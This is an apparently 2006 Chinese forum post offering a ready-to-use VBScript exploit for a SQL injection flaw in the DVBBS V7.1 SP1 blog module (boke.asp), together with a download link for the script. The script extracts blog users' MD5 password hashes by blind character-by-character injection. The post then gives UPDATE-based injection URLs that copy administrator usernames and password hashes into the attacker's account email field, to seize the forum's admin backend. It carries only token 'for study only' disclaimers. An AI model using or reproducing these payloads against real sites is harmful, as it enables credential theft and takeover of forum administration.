打印

DVBBS V7.1 SP1 Boke注入漏洞 VBS版

DVBBS V7.1 SP1 Boke注入漏洞 VBS版

首先说明一下,此漏洞不支持中文博客名称。  原因是Cls_Main.asp中获得boke.asp参数是通过以下语句实现的
bbs\boke\目录 Cls_Main.asp文件第34行
ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING"))
ArchiveLink 中的字符以utf-8方式编码,中文等都被转化成%xx%xx形式,空格也被转化为%20
所以当时写的 ASP利用程序 中的“”与关键字“and”中间没写空格,为的就是避开%20
后来在www.cnbct.org看到可以使用“/**/”注释语法 或“%09”来避开空格,
避开空格后,用UPDATE语句就可以轻松获得DVBBS V7.1 SP1 SQL版的后台控制权限  下面是DVBBS V7.1 SP1 ACCESS版 Boke注入漏洞 VBS利用程序的代码  ============================================================================
DVBBS V7.1 Boke 注入漏洞利用工具
使用说明:
在命令提示符下:
cscript.exe blog.vbs 要攻击的网站的博客路径 要破解的博客用户密码
如:
cscript.exe blog.vbs www.xxxx.com/bbs/boke.asp admin
by execsl 2006.5.4
============================================================================
On Error Resume Next
Dim oArgs
Dim oBokeXML XMLHTTP对象用来打开目标网址
Dim TargetURL 目标网址
Dim BlogName 博客用户名
Dim TempStr 存放已获取的部分 MD5密码
Dim CharHex 定义16进制字符  Set oArgs = WScript.arguments
If oArgs.count %26lt; 2 Then Call ShowUsage()  Set oBokeXML = CreateObject("Microsoft.XMLHTTP")  补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) %26lt;%26gt; "http://" Then TargetURL = "http://" %26 TargetURL
If right(TargetURL,1) %26lt;%26gt; "?" Then TargetURL = TargetURL %26 "?"  BlogName=oArgs(1)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")  Call main(TargetURL,BlogName)   Set oBokeXML = Nothing  ----------------------------------------------sub-------------------------------------------------------
============================================
函数名称:main
函数功能:主程序,注入获得Boke 用户密码
============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 16
For SubOffset = 0 To 15
TempLen = 0
OpenURL = TargetURL %26 BlogName %26 "and" %26 TempStr %26 CharHex(SubOffset) %26 "=left(password," %26MainOffset%26 ")and=.index.html"
oBokeXML.open "Get",OpenURL, False, "", ""
oBokeXML.send
GetPage = BytesToBstr(oBokeXML.ResponseBody)
判断访问的页面是否存在
If InStr(GetPage,"")=0 And InStr(GetPage,"您正在搜索的网页可能已经删除、更名或暂时不可用。")=0 Then
“博客用户不存在或填写的资料有误” 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
如果得到 0000000000000000 的 MD5 值,请修改错误标志
If InStr(GetPage,"博客用户不存在或填写的资料有误")=0 Then
TempStr=TempStr %26 CharHex(SubOffset)
WScript.Echo " 已获取的MD5值为:" %26CStr(TempStr) %26" 其他密码正在读取中,请等待。。。"
Exit for
End if
Else
WScript.echo vbcrlf %26 "您输入的网址无法访问,请确认后重新输入。" %26 vbcrlf
WScript.echo vbcrlf %26 "本程序只用于学习交流,不能用于其非法用途。"%26 vbcrlf %26"因使用本程序引起的一切后果和责任由使用者自负"
WScript.Quit
End If
next
Next
WScript.Echo " 成功读取密码的MD5值,为:" %26 TempStr %26 "请不要使用本程序进行破坏行为!"
End sub  ============================================
函数名称:BytesToBstr
函数功能:将XMLHTTP对象中的内容转化为GB2312编码
============================================
Function BytesToBstr(body)
dim objstream
set objstream = CreateObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function  ============================
函数名称:ShowUsage
函数功能:使用方法提示
============================
Sub ShowUsage()
WScript.echo " DVBBS v7.1 Boke 利用程序" %26 vbcrlf %26 " By Execsl 06.4.23"
WScript.echo "Usage:"%26 vbcrlf %26 " CScript " %26 WScript.ScriptFullName %26" TargetURL BlogName"
WScript.echo "Example:"%26 vbcrlf %26 " CScript " %26 WScript.ScriptFullName %26" www.xxxx.com/bbs/boke.asp admin"
WScript.echo ""
WScript.Quit
End Sub
[Copy to clipboard]  您可以在这里下到该程序的vbs文件

http://www.sdibt.edu.cn/jgsz/jwc/admin/help/blog.vbs
也可以在文章末尾下到  下面是DVBBS V7.1 SP1 Boke注入漏洞 SQL版获得管理员密码的SQL语句,
当然大家可以直接把的管理员密码改成自己的密码,不过这样就太不厚道了
希望大家不要搞破坏!搞破坏RP大大地坏!  将用户表Dv_User中 admin密码放到 用户 execsl 的Email 中

http://www.xxxx.com/boke.asp?adminupdate/
**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]=admin)/**/where[UserName]=execsl;--.index.html
将管理员表Dv_admin中 第一个用户的用户名放到 用户 execsl 的Email 中

http://www.xxxx.com/boke.asp?adminupdate/
**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/[Username]from/**/Dv_admin)/**/where[UserName]=execsl;--.index.html
将管理员表Dv_admin中 第一个用户的密码放到 用户 execsl 的Email 中

http://www.xxxx.com/boke.asp?adminupdate/
**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/[Password]from/**/Dv_admin)/**/where[UserName]=execsl;--.index.html

http://www.xxxx.com/boke.asp?adminupdate/
**/Dv_User/**/set/**/UserEmail=(select[UserPassword]from/**/Dv_admin/**/where[id]=1)/**/where[UserName]=execsl;--.index.html

TOP